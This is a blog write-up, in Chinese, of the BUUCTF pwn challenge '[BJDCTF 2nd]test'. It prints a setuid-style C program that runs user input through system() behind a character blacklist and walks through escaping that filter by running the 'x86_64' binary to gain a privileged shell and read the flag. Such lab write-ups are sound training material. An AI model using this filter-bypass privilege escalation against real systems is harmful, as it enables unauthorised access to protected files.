CTF-Pwn-[BJDCTF 2nd]test

CTF-Pwn-[BJDCTF 2nd]test

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]test

image-20200506144103112

这个题目需要使用ssh连接

Username: ctf Password: test

思路

远程连接
ssh -p 25431 [email protected]

image-20200506145038999

查看文件

image-20200506145148882

发现没有权限查看flag,那么我们要做的就是使用test.c文件来提升权限啦

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);    
    }else{
        system(cmd);
    }
    return 0;
}

题目大概的意思是运行test,输入一个命令,这个时候的权限可以读取flag

test.c过滤了很多命令,取下的过滤规则是 "n|e|p|b|u|s|h|i|f|l|a|g",查看剩下可以使用的命令

ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"

image-20200506150155383

测试

执行test,输入x86_64,然后cat flag

image-20200506150850295

flag就找到了

感谢

BUUCTF

以及勤劳的自己

原创文章 345 获赞 866 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_45163122/article/details/105951262
今日推荐